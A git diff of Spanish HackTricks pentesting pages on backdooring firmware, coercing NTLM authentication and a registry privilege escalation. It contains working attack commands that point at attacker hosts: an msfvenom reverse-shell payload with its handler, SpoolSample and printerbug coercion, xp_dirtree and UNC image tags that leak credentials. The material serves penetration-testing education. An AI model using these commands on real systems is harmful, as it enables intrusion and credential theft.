* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
@ -12,40 +12,36 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
# Integridad del Firmware
|
||||
|
||||
### Esta página fue copiada de [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
El **firmware personalizado y/o binarios compilados pueden ser subidos para explotar fallos de integridad o verificación de firmas**. Se pueden seguir los siguientes pasos para la compilación de un backdoor bind shell:
|
||||
|
||||
Intenta **subir firmware personalizado y/o binarios compilados** para buscar fallos de verificación de integridad o firma. Por ejemplo, compila un backdoor bind shell que se inicie al arrancar usando los siguientes pasos.
|
||||
1. El firmware puede ser extraído usando firmware-mod-kit (FMK).
|
||||
2. Se debe identificar la arquitectura y endianness del firmware objetivo.
|
||||
3. Se puede construir un compilador cruzado usando Buildroot u otros métodos adecuados para el entorno.
|
||||
4. El backdoor puede ser construido usando el compilador cruzado.
|
||||
5. El backdoor puede ser copiado al directorio /usr/bin del firmware extraído.
|
||||
6. El binario de QEMU apropiado puede ser copiado al rootfs del firmware extraído.
|
||||
7. El backdoor puede ser emulado usando chroot y QEMU.
|
||||
8. Se puede acceder al backdoor a través de netcat.
|
||||
9. El binario de QEMU debe ser eliminado del rootfs del firmware extraído.
|
||||
10. El firmware modificado puede ser reempaquetado usando FMK.
|
||||
11. El firmware con backdoor puede ser probado emulándolo con firmware analysis toolkit (FAT) y conectándose al IP y puerto del backdoor objetivo usando netcat.
|
||||
|
||||
1. Extrae el firmware con firmware-mod-kit (FMK)
|
||||
2. Identifica la arquitectura y endianness del firmware objetivo
|
||||
3. Construye un compilador cruzado con Buildroot o utiliza otros métodos que se adapten a tu entorno
|
||||
4. Usa el compilador cruzado para construir el backdoor
|
||||
5. Copia el backdoor al firmware extraído en /usr/bin
|
||||
6. Copia el binario QEMU apropiado al rootfs del firmware extraído
|
||||
7. Emula el backdoor usando chroot y QEMU
|
||||
8. Conéctate al backdoor vía netcat
|
||||
9. Elimina el binario QEMU del rootfs del firmware extraído
|
||||
10. Reempaqueta el firmware modificado con FMK
|
||||
11. Prueba el firmware con backdoor emulándolo con firmware analysis toolkit (FAT) y conectándote a la IP y puerto del backdoor objetivo usando netcat
|
||||
Si ya se ha obtenido una shell de root a través de análisis dinámico, manipulación del bootloader o pruebas de seguridad de hardware, se pueden ejecutar binarios maliciosos precompilados como implantes o reverse shells. Herramientas automatizadas de payload/implante como el framework de Metasploit y 'msfvenom' pueden ser utilizadas siguiendo los siguientes pasos:
|
||||
|
||||
Si ya se ha obtenido una shell de root a partir del análisis dinámico, manipulación del bootloader o pruebas de seguridad de hardware, intenta ejecutar binarios maliciosos precompilados como implantes o reverse shells. Considera usar herramientas automatizadas de payload/implante para marcos de comando y control (C&C). Por ejemplo, el framework de Metasploit y 'msfvenom' se pueden aprovechar usando los siguientes pasos.
|
||||
1. Se debe identificar la arquitectura y endianness del firmware objetivo.
|
||||
2. Msfvenom puede ser utilizado para especificar el payload objetivo, la IP del host atacante, el número de puerto de escucha, el tipo de archivo, la arquitectura, la plataforma y el archivo de salida.
|
||||
3. El payload puede ser transferido al dispositivo comprometido y asegurarse de que tiene permisos de ejecución.
|
||||
4. Metasploit puede ser preparado para manejar solicitudes entrantes iniciando msfconsole y configurando los ajustes de acuerdo al payload.
|
||||
5. El meterpreter reverse shell puede ser ejecutado en el dispositivo comprometido.
|
||||
6. Las sesiones de meterpreter pueden ser monitoreadas a medida que se abren.
|
||||
7. Se pueden realizar actividades post-explotación.
|
||||
|
||||
1. Identifica la arquitectura y endianness del firmware objetivo
|
||||
2. Usa `msfvenom` para especificar el payload objetivo adecuado (-p), la IP del host atacante (LHOST=), el número de puerto de escucha (LPORT=) tipo de archivo (-f), arquitectura (--arch), plataforma (--platform linux o windows), y el archivo de salida (-o). Por ejemplo, `msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux`
|
||||
3. Transfiere el payload al dispositivo comprometido (por ejemplo, ejecuta un servidor web local y usa wget/curl para llevar el payload al sistema de archivos) y asegúrate de que el payload tenga permisos de ejecución
|
||||
4. Prepara Metasploit para manejar solicitudes entrantes. Por ejemplo, inicia Metasploit con msfconsole y usa la siguiente configuración de acuerdo con el payload anterior: use exploit/multi/handler,
|
||||
* `set payload linux/armle/meterpreter_reverse_tcp`
|
||||
* `set LHOST 192.168.1.245 #IP del host atacante`
|
||||
* `set LPORT 445 #puede ser cualquier puerto no utilizado`
|
||||
* `set ExitOnSession false`
|
||||
* `exploit -j -z`
|
||||
5. Ejecuta el meterpreter reverse 🐚 en el dispositivo comprometido
|
||||
6. Observa cómo se abren las sesiones de meterpreter
|
||||
7. Realiza actividades de post-explotación
|
||||
|
||||
Si es posible, identifica una vulnerabilidad dentro de los scripts de inicio para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, [enlazan simbólicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), o dependen de código ubicado en ubicaciones montadas no confiables como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.
|
||||
Si es posible, las vulnerabilidades dentro de los scripts de inicio pueden ser explotadas para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, [enlazan simbólicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), o dependen de código ubicado en ubicaciones montadas no confiables como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.
|
||||
|
||||
# Referencias
|
||||
* Para más información, consulta [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -53,7 +49,7 @@ Si es posible, identifica una vulnerabilidad dentro de los scripts de inicio par
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
# Forzar la autenticación privilegiada NTLM
|
||||
# Forzar Autenticación Privilegiada NTLM
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -16,94 +16,82 @@
|
|||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) es una **colección** de **disparadores de autenticación remota** codificados en C# utilizando el compilador MIDL para evitar dependencias de terceros.
|
||||
|
||||
## Abuso del servicio Spooler
|
||||
## Abuso del Servicio Spooler
|
||||
|
||||
Si el servicio _**Print Spooler**_ está **habilitado**, puedes utilizar algunas credenciales de AD ya conocidas para **solicitar** al servidor de impresión del Controlador de Dominio una **actualización** sobre nuevos trabajos de impresión y simplemente decirle que **envíe la notificación a algún sistema**.\
|
||||
Ten en cuenta que cuando la impresora envía la notificación a un sistema arbitrario, necesita **autenticarse contra** ese **sistema**. Por lo tanto, un atacante puede hacer que el servicio _**Print Spooler**_ se autentique contra un sistema arbitrario, y el servicio **utilizará la cuenta del equipo** en esta autenticación.
|
||||
Si el servicio _**Print Spooler**_ está **habilitado**, puedes usar algunas credenciales de AD ya conocidas para **solicitar** al servidor de impresión del Controlador de Dominio una **actualización** sobre nuevos trabajos de impresión y simplemente indicarle que **envíe la notificación a algún sistema**.\
|
||||
Nota: cuando la impresora envía la notificación a sistemas arbitrarios, necesita **autenticarse contra** ese **sistema**. Por lo tanto, un atacante puede hacer que el servicio _**Print Spooler**_ se autentique contra un sistema arbitrario, y el servicio **usará la cuenta de la computadora** en esta autenticación.
|
||||
|
||||
### Encontrar servidores de Windows en el dominio
|
||||
### Encontrar Servidores Windows en el dominio
|
||||
|
||||
Usando PowerShell, obtén una lista de equipos con Windows. Por lo general, los servidores tienen prioridad, así que centrémonos en ellos:
|
||||
Usando PowerShell, obtén una lista de cajas Windows. Los servidores son usualmente la prioridad, así que centrémonos allí:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
### Encontrando servicios de Spooler en escucha
|
||||
### Búsqueda de servicios Spooler activos
|
||||
|
||||
Utilizando una versión ligeramente modificada de @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el servicio de Spooler está en escucha:
|
||||
Utilizando una versión ligeramente modificada de [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) de @mysmartlogin (Vincent Le Toux), comprueba si el Servicio Spooler está escuchando:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
```
|
||||
También puedes usar rpcdump.py en Linux y buscar el protocolo MS-RPRN.
|
||||
También puedes usar rpcdump.py en Linux y buscar el Protocolo MS-RPRN.
|
||||
```bash
|
||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### Solicitar al servicio que se autentique contra un host arbitrario
|
||||
|
||||
Puedes compilar [**SpoolSample desde aquí**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
Puede compilar[ **SpoolSample desde aquí**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
```bash
|
||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||
```
|
||||
o usa [**dementor.py de 3xocyte**](https://github.com/NotMedic/NetNTLMtoSilverTicket) o [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) si estás en Linux
|
||||
o utiliza [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) o [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) si estás en Linux
|
||||
```bash
|
||||
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
||||
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||
```
|
||||
### Combinando con Delegación sin restricciones
|
||||
### Combinando con Delegación Sin Restricciones
|
||||
|
||||
Si un atacante ya ha comprometido una computadora con [Delegación sin restricciones](unconstrained-delegation.md), el atacante podría **hacer que la impresora se autentique contra esta computadora**. Debido a la delegación sin restricciones, el **TGT** de la **cuenta de computadora de la impresora** se guardará en la **memoria** de la computadora con delegación sin restricciones. Como el atacante ya ha comprometido este host, podrá **recuperar este ticket** y abusar de él ([Pass the Ticket](pass-the-ticket.md)).
|
||||
Si un atacante ya ha comprometido una computadora con [Delegación Sin Restricciones](unconstrained-delegation.md), el atacante podría **hacer que la impresora se autentique contra esta computadora**. Debido a la delegación sin restricciones, el **TGT** de la **cuenta de computadora de la impresora** será **guardado en** la **memoria** de la computadora con delegación sin restricciones. Como el atacante ya ha comprometido este host, podrá **recuperar este ticket** y abusar de él ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## Autenticación forzada de RCP
|
||||
## RCP Fuerza autenticación
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
El ataque `PrivExchange` resulta de una falla en la función de `PushSubscription` del servidor Exchange, que permite que **cualquier usuario de dominio con un buzón fuerce al servidor Exchange a autenticarse** en cualquier host proporcionado por el cliente a través de HTTP.
|
||||
El ataque `PrivExchange` es el resultado de un fallo encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor Exchange sea forzado por cualquier usuario del dominio con un buzón de correo para autenticarse en cualquier host proporcionado por el cliente a través de HTTP.
|
||||
|
||||
El servicio de Exchange se ejecuta como **SYSTEM** y tiene **privilegios excesivos** de forma predeterminada (es decir, tiene privilegios WriteDacl en el dominio antes de la Actualización acumulativa 2019). Esta falla se puede aprovechar para **relacionarse con LDAP y volcar la base de datos NTDS del dominio**. Si no podemos relacionarnos con LDAP, esto se puede aprovechar para relacionarse y autenticarse en **otros hosts** dentro del dominio. Este ataque te llevará directamente a Administrador de dominio con cualquier cuenta de usuario de dominio autenticada.
|
||||
|
||||
****[**Esta técnica fue copiada de aquí.**](https://academy.hackthebox.com/module/143/section/1276)****
|
||||
Por defecto, el **servicio Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este fallo puede ser explotado para permitir el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde no es posible el reenvío a LDAP, este fallo aún puede ser utilizado para reenviar y autenticar a otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Admin del Dominio con cualquier cuenta de usuario de dominio autenticada.
|
||||
|
||||
## Dentro de Windows
|
||||
|
||||
Si ya estás dentro de la máquina Windows, puedes forzar a Windows a conectarse a un servidor utilizando cuentas privilegiadas con:
|
||||
Si ya estás dentro de la máquina Windows puedes forzar a Windows a conectarse a un servidor utilizando cuentas privilegiadas con:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||||
```
|
||||
### MSSQL
|
||||
|
||||
MSSQL (Microsoft SQL Server) es un sistema de gestión de bases de datos relacional desarrollado por Microsoft. Es ampliamente utilizado en entornos empresariales para almacenar y administrar grandes cantidades de datos. MSSQL ofrece una amplia gama de características y funcionalidades, incluyendo soporte para consultas complejas, transacciones ACID, replicación de datos y seguridad avanzada.
|
||||
|
||||
En el contexto del hacking, MSSQL puede ser un objetivo atractivo para los atacantes debido a la cantidad de datos confidenciales que puede contener. Los atacantes pueden intentar explotar vulnerabilidades conocidas en el servidor MSSQL para obtener acceso no autorizado a la base de datos o para extraer información sensible.
|
||||
|
||||
Algunas técnicas comunes utilizadas en el hacking de MSSQL incluyen la inyección de SQL, la explotación de vulnerabilidades de desbordamiento de búfer y la fuerza bruta de contraseñas débiles. Es importante que los administradores de bases de datos implementen medidas de seguridad adecuadas, como mantener el software MSSQL actualizado, utilizar contraseñas fuertes y restringir el acceso a la base de datos solo a usuarios autorizados.
|
||||
|
||||
Los profesionales de la seguridad también pueden realizar pruebas de penetración en los servidores MSSQL para identificar posibles vulnerabilidades y ayudar a fortalecer la seguridad de la base de datos. Estas pruebas pueden incluir la búsqueda de configuraciones incorrectas, la revisión de permisos de usuario y la evaluación de la resistencia a ataques de inyección de SQL.
|
||||
|
||||
En resumen, MSSQL es un sistema de gestión de bases de datos ampliamente utilizado que puede ser un objetivo atractivo para los atacantes. Es importante implementar medidas de seguridad adecuadas y realizar pruebas de penetración para proteger los datos almacenados en MSSQL.
|
||||
```sql
|
||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||
```
|
||||
O puedes utilizar esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||
|
||||
### Certutil
|
||||
|
||||
Es posible utilizar certutil.exe (binario firmado por Microsoft) para forzar la autenticación NTLM:
|
||||
Es posible usar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticación NTLM:
|
||||
```bash
|
||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
```
|
||||
## Inyección de HTML
|
||||
|
||||
### A través de correo electrónico
|
||||
### Vía email
|
||||
|
||||
Si conoces la **dirección de correo electrónico** del usuario que inicia sesión en una máquina que deseas comprometer, simplemente puedes enviarle un **correo electrónico con una imagen de 1x1** como la siguiente:
|
||||
Si conoces la **dirección de correo electrónico** del usuario que inicia sesión en una máquina que quieres comprometer, podrías simplemente enviarle un **correo electrónico con una imagen de 1x1** como
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
y cuando lo abre, intentará autenticarse.
|
||||
y cuando la abra, intentará autenticarse.
|
||||
|
||||
### MitM
|
||||
|
||||
|
@ -111,19 +99,19 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági
|
|||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## Rompiendo NTLMv1
|
||||
## Crackeo de NTLMv1
|
||||
|
||||
Si puedes capturar [desafíos NTLMv1, lee aquí cómo romperlos](../ntlm/#ataque-ntlmv1).\
|
||||
_Recuerda que para romper NTLMv1 necesitas establecer el desafío de Responder como "1122334455667788"_
|
||||
Si puedes capturar [desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
|
||||
_Recuerda que para crackear NTLMv1 necesitas configurar el desafío de Responder a "1122334455667788"_
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks para AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
@ -13,323 +13,43 @@ Otras formas de apoyar a HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
**Información copiada de** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
|
||||
**El post original está en** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)
|
||||
|
||||
Según la salida del script, el usuario actual tiene algunos permisos de escritura en dos claves de registro:
|
||||
## Resumen
|
||||
La salida del script indica que el usuario actual posee permisos de escritura en dos claves de registro:
|
||||
|
||||
* `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
||||
* `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
||||
- `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
|
||||
- `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
|
||||
|
||||
Vamos a verificar manualmente los permisos del servicio `RpcEptMapper` utilizando la GUI de `regedit`. Algo que realmente me gusta de la ventana _Configuración de seguridad avanzada_ es la pestaña _Permisos efectivos_. Puedes elegir cualquier nombre de usuario o grupo e inmediatamente ver los permisos efectivos que se le otorgan a este principal sin la necesidad de inspeccionar todos los ACEs por separado. La siguiente captura de pantalla muestra el resultado para la cuenta de bajo privilegio `lab-user`.
|
||||
Para investigar más a fondo los permisos del servicio RpcEptMapper, el usuario menciona el uso de la GUI de regedit y destaca la utilidad de la pestaña de Permisos Efectivos de la ventana de Configuración de Seguridad Avanzada. Esta pestaña permite a los usuarios verificar los permisos efectivos otorgados a un usuario o grupo específico sin inspeccionar los ACE individuales.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02\_regsitry-rpceptmapper-permissions.png)
|
||||
La captura de pantalla proporcionada muestra los permisos para la cuenta de usuario de laboratorio con privilegios bajos. La mayoría de los permisos son estándar, como Consultar Valor, pero un permiso destaca: Crear Subclave. El nombre genérico para este permiso es AppendData/AddSubdirectory, lo que coincide con lo reportado por el script.
|
||||
|
||||
La mayoría de los permisos son estándar (por ejemplo: `Query Value`) pero uno en particular destaca: `Create Subkey`. El nombre genérico correspondiente a este permiso es `AppendData/AddSubdirectory`, que es exactamente lo que reportó el script:
|
||||
```
|
||||
Name : RpcEptMapper
|
||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
||||
User : NT AUTHORITY\NetworkService
|
||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
||||
IdentityReference : NT AUTHORITY\Authenticated Users
|
||||
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
||||
Status : Running
|
||||
UserCanStart : True
|
||||
UserCanRestart : False
|
||||
El usuario procede a explicar que esto significa que no pueden modificar ciertos valores directamente, sino que solo pueden crear nuevas subclaves. Muestran un ejemplo donde intentar modificar el valor de ImagePath resulta en un error de acceso denegado.
|
||||
|
||||
Name : RpcEptMapper
|
||||
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
|
||||
User : NT AUTHORITY\NetworkService
|
||||
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
|
||||
IdentityReference : BUILTIN\Users
|
||||
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
|
||||
Status : Running
|
||||
UserCanStart : True
|
||||
UserCanRestart : False
|
||||
```
|
||||
¿Qué significa esto exactamente? Significa que no podemos simplemente modificar el valor de `ImagePath`, por ejemplo. Para hacerlo, necesitaríamos el permiso `WriteData/AddFile`. En cambio, solo podemos crear una nueva subclave.
|
||||
Sin embargo, aclaran que esto no es un falso positivo y que hay una oportunidad interesante aquí. Investigan la estructura del registro de Windows y descubren una forma potencial de aprovechar la subclave Performance, que no existe por defecto para el servicio RpcEptMapper. Esta subclave podría permitir el registro de DLL y el monitoreo de rendimiento, ofreciendo una oportunidad para la escalada de privilegios.
|
||||
|
||||
